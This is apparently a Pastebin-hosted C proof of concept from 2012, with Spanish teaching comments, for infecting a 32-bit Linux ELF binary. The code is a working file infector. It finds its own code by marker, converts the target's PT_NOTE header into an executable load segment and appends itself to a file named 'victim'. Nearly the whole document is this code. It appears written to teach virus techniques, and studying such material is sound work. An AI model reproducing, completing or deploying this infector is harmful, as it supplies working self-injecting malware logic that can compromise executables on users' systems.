document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Prueba de concepto: sustitución de PT_NOTE e inyección al final del fichero
  3.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  4.  *
  5.  *    This program is free software: you can redistribute it and/or modify
  6.  *    it under the terms of the GNU General Public License as published by
  7.  *    the Free Software Foundation, either version 3 of the License, or
  8.  *    (at your option) any later version.
  9.  *
  10.  *    This program is distributed in the hope that it will be useful,
  11.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *    GNU General Public License for more details.
  14.  *
  15.  *    You should have received a copy of the GNU General Public License
  16.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  17.  */
  18.  
  19. #include <sys/syscall.h>
  20. #include <sys/types.h>
  21. #include <elf.h>
  22. #include <stdint.h>
  23.  
  24. /* Los includes pueden llegar a ser muy molestos. */
  25. #define O_RDWR                02
  26.  
  27. # define SEEK_SET             0       /* Seek from beginning of file.  */
  28. # define SEEK_CUR             1       /* Seek from current position.  */
  29. # define SEEK_END             2       /* Seek from end of file.  */
  30.  
  31.  
  32. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  33.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  34.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  35.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  36.    coincidencia) */
  37.    
  38. #define BOTTOM_MARKER_LOW  0x504b
  39. #define BOTTOM_MARKER_HIGH 0x5841
  40. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  41. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  42.  
  43. #define BOTTOM_MARKER      0x5841504b
  44. #define TOP_MARKER         BOTTOM_MARKER
  45.  
  46. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  47. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  48.    sustituirá por la cadena "palabra" */
  49.    
  50. #define _STRINGIFY(x) #x
  51. #define STRINGIFY(x) _STRINGIFY (x)
  52.  
  53. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  54.    el flag "a" le obliga a que la sección se cargue en memoria */
  55.    
  56. asm (".section .code_bottom, \\"xa\\"");
  57. asm (".long " STRINGIFY (BOTTOM_MARKER));
  58.  
  59. asm (".section .code_top, \\"xa\\"");
  60. asm (".long " STRINGIFY (TOP_MARKER));
  61.  
  62.  
  63. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  64.    write, read, open, close y lseek  */
  65. int
  66. write (int fd, const void *buf, int size)
  67. {
  68.   int ret;
  69.  
  70.   asm volatile ("xchg %%ebx, %%esi\\n"
  71.                  "int $0x80\\n"
  72.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  73.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  74.    
  75.   return ret;
  76. }
  77.  
  78. static inline int
  79. read (int fd, void *buf, int size)
  80. {
  81.   int ret;
  82.  
  83.   asm volatile ("xchg %%ebx, %%esi\\n"
  84.                  "int $0x80\\n"
  85.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  86.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  87.                  "memory"); /* read modifica la memoria */
  88.    
  89.   return ret;
  90. }
  91.  
  92. static inline int
  93. lseek (int fd, int offset, int whence)
  94. {
  95.   int ret;
  96.  
  97.   asm volatile ("xchg %%ebx, %%esi\\n"
  98.                  "int $0x80\\n"
  99.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  100.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  101.    
  102.   return ret;
  103. }
  104.  
  105. static int
  106. open (const char *path, int mode)
  107. {
  108.   int ret;
  109.  
  110.   asm volatile ("xchg %%ebx, %%esi\\n"
  111.                  "int $0x80\\n"
  112.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  113.                  "a" (__NR_open), "S" (path), "c" (mode));
  114.    
  115.   return ret;
  116. }
  117.  
  118. static int
  119. close (int fd)
  120. {
  121.   int ret;
  122.  
  123.   asm volatile ("xchg %%ebx, %%esi\\n"
  124.                  "int $0x80\\n"
  125.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  126.                  "a" (__NR_close), "S" (fd));
  127.    
  128.   return ret;
  129. }
  130.  
  131. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  132.    muy útil para depurar. */
  133. void
  134. long2hex (unsigned int number, char *buf)
  135. {
  136.   int i;
  137.   char hexa[] = "0123456789abcdef";
  138.  
  139.   buf[8] = 0;
  140.  
  141.   for (i = 0; i < 8; i++)
  142.   {
  143.     buf[7 - i] = hexa[number & 0xf];
  144.     number >>= 4;
  145.   }
  146. }
  147.  
  148. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  149.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  150.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  151.    hacia arriba o hacia abajo hasta encontrarlos */
  152.    
  153. void
  154. get_code_limits (uint32_t *bottom, uint32_t *top)
  155. {
  156.   int i;
  157.   uint32_t this_addr;
  158.  
  159.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  160.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  161.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  162.      inline assembly de GCC */
  163.      
  164.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  165.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  166.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  167.      a un cacho de código que no está especialmente diferenciado del resto. */
  168.      
  169.   asm volatile ("call 1f\\n"
  170.                  "1:\\n"
  171.                  "popl %0\\n" : "=g" (this_addr));
  172.                  
  173.  
  174.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  175.      últimos bits a cero. */
  176.      
  177.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  178.                       this_addr = this_addr & 0xfffffffc que es un and
  179.                       en binario con todo 1 menos los dos últimos bits,
  180.                       esto fuerza a que el número esté alineado a 4. */
  181.  
  182.  
  183.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  184.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  185.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  186.      
  187.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  188.      restando. */
  189.      
  190.   for (i = this_addr; ; i -= 4)
  191.   {
  192.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  193.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  194.       {
  195.         *bottom = i;
  196.         break;
  197.       }
  198.   }
  199.  
  200.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  201.      nuestra memoria hacia adelante, sumando. */
  202.   for (i = this_addr; ; i += 4)
  203.   {
  204.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  205.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  206.       {
  207.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  208.                          4 bytes) también pertenece al código. */
  209.         break;
  210.       }
  211.   }
  212.  
  213. }
  214.  
  215. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  216.    infectable */
  217. int
  218. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  219. {
  220.   int fd;
  221.  
  222.   if ((fd = open (path, O_RDWR)) < 0)
  223.     return -1; /* Error al abrir */
  224.    
  225.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  226.   {
  227.     close (fd);
  228.     return -1; /* Error al leer la cabecera */
  229.   }
  230.  
  231.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  232.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  233.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  234.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  235.   {
  236.     close (fd);
  237.     return -1; /* Números mágicos incorrectos */
  238.   }
  239.  
  240.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  241.   {
  242.     close (fd);
  243.     return -1; /* El ELF no es de 32 bits */
  244.   }
  245.  
  246.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  247.   {
  248.     close (fd);
  249.     return -1; /* El ELF no es little endian */
  250.   }
  251.  
  252.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  253.   {
  254.     close (fd);
  255.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  256.   }
  257.  
  258.   return fd;
  259. }
  260.  
  261. /* Macro para alinear a tamaños */
  262. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  263.  
  264. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  265. /* TODO: hacerlo con mmaps, más rápido. */
  266.    
  267. int
  268. replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size)
  269. {
  270.   int i;
  271.   int note_idx;
  272.   Elf32_Phdr phdr;
  273.   uint32_t lowest_va;
  274.      
  275.   lowest_va = 0xffffffff;
  276.  
  277.   /* Este bucle me calcula la dirección más alta del programa, además de que
  278.      me busca el PT_NOTE. */
  279.  
  280.   note_idx = -1;
  281.  
  282.   for (i = 0; i < Ehdr->e_phnum; i++)
  283.   {
  284.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  285.       return -1;
  286.      
  287.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  288.       return -1;
  289.      
  290.     if (phdr.p_type == PT_LOAD)
  291.     {
  292.       if (phdr.p_vaddr < lowest_va)
  293.         lowest_va = phdr.p_vaddr;
  294.     }
  295.     else if (phdr.p_type == PT_NOTE)
  296.       note_idx = i;
  297.   }
  298.  
  299.   if (note_idx == -1)
  300.     return -1;
  301.    
  302.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  303.   read (fd, &phdr, sizeof (Elf32_Phdr));
  304.      
  305.    
  306.   phdr.p_type = PT_LOAD;
  307.      
  308.   /* Alineamos al tamaño de página, esto es una restricción necesaria, ya
  309.      que el kernel sólo puede definir nuevos segmentos a partir de nuevas
  310.      páginas */
  311.   phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  312.   phdr.p_filesz = size;
  313.   phdr.p_memsz  = ALIGN (size, 4096);
  314.   phdr.p_flags = PF_X | PF_R;
  315.   phdr.p_offset = offset;
  316.   phdr.p_align = 4096;
  317.  
  318.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  319.  
  320.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  321.     return -1;
  322.    
  323.   return 0;
  324. }
  325.  
  326. int
  327. inject (int fd, void *base, off_t offset, size_t size)
  328. {
  329.   if (lseek (fd, offset, SEEK_SET) < 0)
  330.     return -1;
  331.    
  332.   if (write (fd, base, size) < size)
  333.     return -1;
  334.    
  335.   return 0;
  336. }
  337.  
  338. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  339.  
  340. void
  341. write_zeroes (int fd, int bytes)
  342. {
  343.   int i;
  344.   int null = 0;
  345.  
  346.   for (i = 0; i < bytes; i++)
  347.     write (fd, &null, 1);
  348. }
  349.  
  350. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  351. void
  352. _start (void)
  353. {
  354.   char buffer[9];
  355.   Elf32_Ehdr Ehdr;
  356.   size_t binsize;
  357.   size_t binsize_aligned;
  358.   size_t code_size;
  359.   int fd;
  360.  
  361.  
  362.   uint32_t limit_bottom;
  363.   uint32_t limit_top;
  364.  
  365.   get_code_limits (&limit_bottom, &limit_top);
  366.   code_size = limit_top - limit_bottom;
  367.  
  368.   if ((fd = open_elf ("victim", &Ehdr)) == -1)
  369.   {
  370.     DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  371.     for (;;);
  372.   }
  373.  
  374.   binsize = lseek (fd, 0, SEEK_END);
  375.   binsize_aligned = ALIGN (binsize, 4096);
  376.  
  377.   /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  378.      de página de x86 */
  379.      
  380.   write_zeroes (fd, binsize_aligned - binsize);
  381.  
  382.   if (replace_note (fd, &Ehdr, binsize_aligned, code_size) == -1)
  383.   {
  384.     DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
  385.     for (;;);
  386.   }
  387.  
  388.   if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
  389.   {
  390.     DEBUG ("No se pudo inyectar.\\n");
  391.     for (;;);
  392.   }
  393.  
  394.   DEBUG ("Binario victim infectado.\\n");
  395.   for (;;);
  396. }
');